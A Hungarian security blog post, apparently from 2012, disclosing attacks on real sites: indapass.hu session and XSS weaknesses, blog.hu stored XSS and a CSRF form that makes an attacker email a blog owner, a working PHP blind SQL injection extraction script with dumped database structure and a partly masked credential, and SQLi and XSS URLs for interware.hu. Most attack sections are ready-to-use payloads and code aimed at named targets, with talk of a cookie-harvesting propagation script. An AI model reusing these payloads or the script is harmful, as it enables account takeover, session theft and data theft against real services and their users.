indapass.hu XSS + session

Nem igazán látom át az inda rendszer működését viszont azt észrevettem, hogy az indapass.hu-n keresztül lehet és kell belépni nagyon sok rendszerbe, mint pl. a blog.hu vagy az index.hu fóruma, éppen ezért egy elég nagy céltábla.

One Session to rule them all

Nézzük meg, hogyan is működik ez az indapass.hu oldal.

Első látogatáskor kb. ez történik:

https://indapass.hu/

GET / HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 302 Found
Date: Tue, 28 Feb 2012 16:00:50 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; path=/
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Location: https://daemon.indapass.hu/http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass
Content-Length: 0
Keep-Alive: timeout=3, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------
https://daemon.indapass.hu/http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass

GET /http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass HTTP/1.1
Host: daemon.indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: INX_CHECKER2=1

HTTP/1.1 302 Found
Location: https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: psid=9f5c97d601ba181e11489787b0cd5771; Domain=.indapass.hu; Path=/; Version=1
Content-Length: 0
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: lighttpd/1.4.13
----------------------------------------------------------
https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4

GET /?token=cdfd16f5886ba99923dcdca9bc7a59b4 HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; INX_CHECKER2=1; psid=9f5c97d601ba181e11489787b0cd5771

HTTP/1.1 302 Found
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Location: https://indapass.hu/
Content-Length: 0
Keep-Alive: timeout=3, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------
https://indapass.hu/

GET / HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; INX_CHECKER2=1; psid=9f5c97d601ba181e11489787b0cd5771

HTTP/1.1 200 OK
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Keep-Alive: timeout=3, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------

Röviden:
Ha nincsen PHPSESSID cookie akkor az első kérésnél kapunk egy PHPSESSID sütit és 302-es redirect-et a https://daemon.indapass.hu/http/session_request… oldalra. Ezen az oldalon kapunk egy psid sütit és szintén egy 302-es redirect-et, amiben van egy token https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4
Ez az oldal is ad egy 302-t, gondolom azért, hogy eltüntessék a token-t a url-ből.

Ha ezután belépünk egy felhasználóval, akkor küldünk egy POST-ot a https://daemon.indapass.hu/http/login url-nek és küldjük a psid sütit “szeméttel” együtt (ga stuff). Az oldal annak függvényében, hogy volt-e “Jegyezz meg!” vagy rendel értéket vagy nem az autologin sütihez, majd természetesen egy 302-vel visszairányít a kiinduló oldalra, ebben az esetben indapass.hu (paraméterben kapja redirect_to).

És be vagyunk jelentkezve. Annyi érdekesség van a dologban, hogy egyik süti értéke sem változott, tehát egy sikeres bejelentkezés után nem használnak session_regenerate_id()-t például, a PHPSESSIONID értéke is ugyan az, valamint egyik süti sem http_only vagy secure.

IP címet és User-Agentet váltottam valamint, kitöröltem minden nem indapass.hu sütit és akkor is bejelentkezve maradtam, vagyis a session az IP és a User-Agent semmilyen formában nincsen összekötve. (A teszt IP más országbeli volt.)

Ezek mind mind jó hírek (már akinek) most már csak egy XSS kellene.
google.hu
site:indapass.hu

Mindjárt az első oldalon van egy ígéretes url: old.indapass.hu

Hogy, hogy nem 3 klik után találtam is egyet, de szerintem több is van, főleg ilyen reflected.

http://old.indapass.hu/jelszoemlekezteto/

a nick post paraméter nincsen megfelelően “átalakítva” kiírás előtt és nem szükséges form-al posztolni mert működik paraméterből is :

http://old.indapass.hu/jelszoemlekezteto/?nick=%22%3E%3Cscript%3Ealert%28%27/0xff/%27%29;%3C/script%3E%3C!–

Viszont van egy kis gond ezzel az oldallal mégpediglen az, hogy ez egy subdomain és ha megnézzük a document.cookie tartalmát akkor láthatjuk, hogy nincsen benne a PHPSESSID, viszont mivel lusta vagyok más XSS-t keresni ezért ezzel kell beérjem. Ez nem is olyan nagy baj végülis, hiszen ha megnézzük a bejelentkezési folyamatot, láthatjuk, hogy a daemon.indapass.hu sem kap PHPSESSID sütit, mégis tud azonosítani és beléptetni, elég neki a psid is.

A psid-t a https://daemon.indapass.hu/http/session_request adja. Ha van a kérésben süti, akkor azt újra beállítja, de nem változtat az értékén, a lejáratát nem állítja be így az automatikusan a session végén kliens oldalon lejár, tehát ha meghosszabbítjuk a lejáratot az felülíródik amint a felhasználó meglátogatja a daemon.indapass.hu-t. Hogy szerver oldalon mennyi ideig érvényes, azt nem tudom. Úgy tűnik nekem, hogy a két oldalt – ebben az esetben indapass.hu és a daemon.indapass.hu-t – ez a psid köti össze és az a 302-es redirect, ami küld egy tokent. Gondolom az állítódik be a $_SESSION tömbben vagy valami.

Tehát nincsen szükségünk a PHPSESSID -re hiszen kaphatunk egyet a psid segítségével automatikusan, ha megvan valakinek a psid sütije akkor elég kitörölni a PHPSESSID-t vagy megváltoztatni az értékét és kicserélni a psid értékét.

Ami érdekes még ebben az az, hogy nagyon könnyen lehet írni egy kis scriptet, ami folyamatosan gyűjti a sütiket és ha sikerült “belépnie” akkor pl a blog.hu-n minden bejegyzés aljára beszúr egy IFrame-t és szerintem a többi szolgáltatást is lehetne propagálásra használni.

Demo time:

Indapass.hu Session from 0xff on Vimeo.

Blog.hu XSS / CSRF

Eltelt egy kis idő az utolsó bejegyzésem óta mivel mostanság inkább Offline dolgokkal foglalkozom (GSM és Arduino) de ma eszembe jutott a blog.hu és hogy van egy új admin felületük, gondoltam megnézem hátha találok valami szembeötlőt, és hát találtam is.

Egy korábbi bejegyzésben (http://0xff.org/poc/bxxx-hu/ Sep 28, 2011) már írtam egy BlindSQL Injection hibáról a “régi” admin felületen de mivel a hibát még nem javították ki ezért nem nyilvános a bejegyzés viszont az akkor talált XSS rést most megosztom.

Eljátszódtam a gondolattal, hogy milyen is lenne ha írnék egy “worm”-ot (talán nem ez a legjobb szó rá), de letettem az ötletről.

Mind a XSS mind a CSRF csak belépett, admin joggal rendelkező felhasználóval működik.

Régi admin Permanens XSS :

<html>
<body>
<form name="blog" action="http://blog.hu/admin/blogs/presentation/mobile" method="post">
<input type="hidden" name="action" value="mobile_custom_color" />
<input type="hidden" name="custom_color" value="on" />
<input type="hidden" name="custom_color_code" value="BAE3E2'); alert(document.cookie+' ~0xFF~ " />
</form>

<script type="text/javascript">
 document.forms["blog"].submit();
</script>

</body>
<html>

Demó : http://0xff.org/res/dhtml/blog.hu/xss.blog.hu.html

Új admin felület CSRF avagy “sudo make me admin”

<html>
<head>
</head>

<body>
<form name="blog" action="http://[BLOG_NEVE].blog.hu/admin/settings/invite" method="post">
    <input type="hidden"  name="email" value="blog.hu@0xff.org"><br />
    <input type="hidden"  name="role" value="owner"><br />
</form>

<script type="text/javascript">
 document.forms["blog"].submit();
</script>


<body>
</html>

Annyi szépséghibája van a dolognak, hogy szükséges a blog neve, de szerintem bíztosan ki lehet deríteni. A legegyszerűbb megoldás az lenne hogy megszórni a blogokat egy kis “spam”-el comment és/vagy Linkback amit előbb utóbb az admin is megnéz és akkor a referrer-ben benne van a blog neve.

Demo : http://0xff.org/res/dhtml/blog.hu/csrf.blog.hu.php?blog=[BLOG]&email=[EMAIL]

Amennyire egyszerű ez a CSRF annyira hatásos, a megadott e-mail címre küld egy admin meghívót :D

Update:
buhera.blog.hu Owned : http://buhera.blog.hu/2012/02/27/buherablog_0wned

blog.hu Blind SQL Injection

UPDATE:
Mivel valóban lekapcsolták a régi admin felületet ezért “publikálnám” ez a bejegyzést is, elég régi darab (2011 Szeptember) de működött.
Így utólag csak annyi megjegyzésem van hogy egy bináris keresés némileg gyorsabb lett volna, és azóta már azt használok. Van egy újabb Blind SQLi project a bbqsql ami némileg gyorsabb hiszen akár 100 – 200 “szálon” is futhatnak a lekérdezések de végül is “old dog new triks”.

Blog.hu Blind SQL Injection:

Találam a blog.hu-n egy “elrejtett” Blind Sql injection-t, azért mondom, hogy elrejtett mert a paramétert amúgy nem lehet elérni, legalábbis én nem láttam.

Ha valaki be van jelentkezve a blogba, akkor, ki tudja listázni a blogposztjait

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1

A posts GET paraméterben adjuk meg a limitet a page ben meg az offset-et amit furának tünt, az az, hogy nem lehet rendezni, order így kipróbáltam egy pár paramétert és az orderby valamint az order működött is, hogy miért azt nem tudom gondolom van egy if vagy valami okosság.

Annyi még hozzá tartozik a dologhoz, hogy nem lehet szóközt (‘ ‘,’%20′,’+')  használni, de a jó öreg /**/ működik.

Egy orderby alapú BlindSQLi-t kapunk így.

TRUE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(1=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

FALSE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(2=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

Mivel piszok lassú a SQL szerver ezért érdemes kicserélni a false ágat erre:

(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))

Lehet csinálni fordítva is, vagyis hogy amikor TRUE akkor adjon hibát, hiszen a legtöbb találgatás FALSE lesz de valahogy jobban szeretem én így :)

DATA:

version() : 5.0.81?0.?ot?eb.0?log
user() : bloghu@blfr5.in*
datbase() : bloghu

DBS :2
bloghu
genie

TABLES in [BLOGHU] : ?
atallitott_blogok
blh_activity
blh_ads
blh_adst...
blh_antispam
blh
....
blh_indavip
....
blh_users
blh_users_backup
blh_users
....

COLUMNS in [bloghu.blh_users]
dateymdhour
metauser_id
user_activation_key
user_autosave_interval
user_avatar_url
user_blog_limit
user_connectioncode
user_default_avatar
user_email
user_firstname
user_grp_id
user_id
user_idmode
user_lastname
user_indapass_id
user_locale...

HIGH:
blog.hu@gmail.com : zXXXXnder [***Kivenni***]

 

PoC code:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$session = "PHPSESSIDv2=XXXXXXXXX;";
$true = "xAAAAA"; // Egy post neve
$false = "ra! Ha nem megy, pr";
$sql_error = '(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))';

//Paramerek CLI bol
$param = getopt('s:l:c:');

$sql = str_replace(' ','/**/',$param['s']);
$limit = $param['l'];
$charset = $param['c'];


$char[0] = '0123456789 _@.abcdefghijklmnopqrstuvwxyz';
$char[1] = '0123456789';
$char[2] = 'abcd efghijkl01_23@456789mnopq.rstuvwxyz';
$char[3] = 'abcdefghijklmnopqrstuvwxyz @.';
$char[5] = '0123456789abcdefg'; // MD5
$char[99] = '0123456789.!#$%^&*()_blh_usermtacfgijk@nopqvwxyz!#$%^&*()_';


//Charset
if (!isset($charset)){
 $chr = $char[3];
} else {
 $chr = $char[$charset];
}



        if (!isset($limit)){
          //Ha nincsen limit akkor megnézzük a sql valasz hosszat 40ig
            for ($i=0;$i<40;$i++){;
               echo "$i - ";
               $sqli = "length(($sql))=$i";
               $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,$sql_error))&order=+asC+&page=1";
               //DEV echo $url."\n";
               //Behivjuk az oldalt
               $html =  http_get($url);
               //DEV echo $html;
               //Ha talal akkor leallunk.
               if (talal($html)){
                    die("\n\nLength : $i\n\n");
                }                  
            }  //For loop          
            echo "\nNem tudom a hosszát vagy nagyobb mint 40\n";


        } else {
          //Ha mar van hosszunk akkor olvasunk
           echo "\nChars : $chr  | Limit :$limit\n\n$sql\n\n";    
                for ($i=1;$i<$limit+1;$i++) {
                        for ($p=0;$p<=strlen($chr);$p++){
                           $c = ord($chr[$p]);    
                           $sqli = "ascii(substring(lower(($sql)),$i,1))=".ord($chr[$p]);
                           $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,(SeLeCT(1)/**/FRoM/**/information_schema.SCHEMATA/**/)))&order=+asC+&page=1";      
                           //DEV echo $url . "\n";    
                           //DEV $html =  http_get($url);    
                               
                           if (talal(http_get($url))) {
                                echo $chr[$p];
                                break;
                           }
                           if ($p == strlen($chr)){
                                echo '?';
                           }        
                        }
                }
                echo "\n";                
               
        }
               







function talal($html){
     global $true;
      return ( stripos($html,$true) > 1 ? true : false);  
}

//HTTP get Socket-el -curl
function http_get($url){
global $session;
//$url = urlencode($url);
$response = '';
$fp = fsockopen("blog.hu", 80, $errno, $errstr, 30);
if (!$fp) {
    return "$errstr ($errno)<br />\n";
} else {
    $out = "GET $url HTTP/1.1\r\n";
    $out .= "Host: blog.hu\r\n";
    $out .= "Accept: text/javascript, text/html, application/xml, text/xml, */*\r\n";
    $out .= "User-Agent: Contact email ******\r\n";    
    $out .= "Cookie: $session \r\n";    
    $out .= "Connection: Close\r\n\r\n";    
    fwrite($fp, $out);
    while (!feof($fp)) {
        $response .= fgets($fp, 128);
    }
    fclose($fp);
    return $response;    
}
}//Function



?>

 

Lépjünk be egy blog.hu admin felületbe, majd hívjuk meg http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1 ezt az oldalt, keressünk ki egy egyedi sztringet a forráskódból, lehetőleg ékezet nélkülit, majd másoljuk ki a PHPSESSIDv2 értéket, végezzük el a szükséges módosításokat és készen is vagyunk.

Használat:

php script.php -s “sql parancs” -c [CHARSET] -l [LIMIT]

ha nem adunk meg limitet először csak a hosszal tér vissza pl:

php script.php -s “select user()”

0 – 1 – 2 – 3 – 4 – 5 – 6 – 7 – 8 – 9 – 10 – 11 – 12 – 13 – 14 – 15 – 16 -

Length : 16

Utána megadhatjuk a hoszt és a választott char tipust, pl:

php script.php -s “select user()”  -c 2 -l 16

Chars : abcd efghijkl01_23@456789mnopq.rstuvwxyz  | Limit :16

select/**/user()

bloghu@blfr5.inx

 

Lehet használni ‘ -t is, későn vettem csak észre, ja és még lehet optimalizálni a kódón, aki akar.

 

 
UPDATE : Permanent XSS az admin felületen, lehetne DOM injectiont is csinálni csak nicsen türelmem most.
Link : http://0xff.org/res/dhtml/blog.hu/xss.blog.hu.html

<html>
<h1>Blog.hu Permanens XSS</h1>
<hr>
<p>Csak a belepett adminoknak mukodik, de az eleg is :D</p>
<form action="http://blog.hu/admin/blogs/presentation/mobile" method="post">
action:<input type="textbox"  name="action" value="mobile_custom_color"><br />

custom_color:<input type="textbox"  name="custom_color" value="on"><br />
custom_color_code:<input type="textbox"  name="custom_color_code" value="BAE3E2'); alert(document.cookie+' ~0xFF~ "><br />
<input type="submit" value="XSS ">
</form>
</html>

 

Interware

XSS:
Nem permanens de secure.interware.hu:

https://secure.interware.hu/forgotpassword.do?customerID=”><h1>XSS</h1>&emailAddr=<h1>XSS</h1>
Permanens XSS :

http://www.interware.hu/index.php?m=vkonyv&menuid=10

SQLi:
http://www.interware.hu/index.php?infotype=technical&productid=23+AND+substring(version(),1,1)=4
http://www.interware.hu/index.php?gpmid=351+AND+substring(version(),1,1)=4
http://www.interware.hu/index.php?m=gyik&menuid=6&qid=88+AND+substring(version(),1,1)=4
http://www.interware.hu/index.php?productid=64+AND+substring(version(),1,1)=4